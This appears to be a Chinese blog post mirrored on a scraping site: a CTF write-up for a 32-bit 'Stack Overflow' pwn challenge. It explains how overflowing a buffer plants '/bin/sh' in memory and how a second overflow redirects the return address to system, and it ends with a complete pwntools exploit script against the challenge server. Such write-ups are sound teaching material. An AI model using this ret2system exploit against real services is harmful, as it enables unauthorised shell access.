zoukankan      html  css  js  c++  java
  • pwn-Stack Overflow

    地址

    https://cgctf.nuptsast.com/challenges#Pwn

    先观察一下,是一个32位的程序,而且只开了NX保护

     用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数

     我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell

     思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址)

    payload2的p32(0xaaaa)是函数的返回地址,随便填

    构造exp如下

    from pwn import *
    r=remote('182.254.217.142',10001)
    e=ELF('./cgpwna')
    sys_addr=e.symbols["system"]
    #sys_addr=0x80483f0
    
    r.recvuntil("your choice:")
    r.sendline("1")
    r.recvuntil("you can leave some message here:")
    
    payload1='a'*40+'/bin/sh'
    r.sendline(payload1)
    
    
    payload2='a'*0x34+p32(sys_addr)+p32(0xaaaa)+p32(0x804a0a8)
    r.recvuntil("your name please:")
    r.sendline(payload2)
    
    r.interactive()                   

    执行结果


                   

  • 相关阅读:
    String类型操作命令及api使用
    回顾Redis基础
    kibana6 安装
    elasticsearch安装
    flink 异常
    Scala异常
    idea配置
    mysql error 1577解决
    Hbase与phoenix关联
    CS61b lab4打卡
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11676179.html
Copyright © 2011-2022 走看看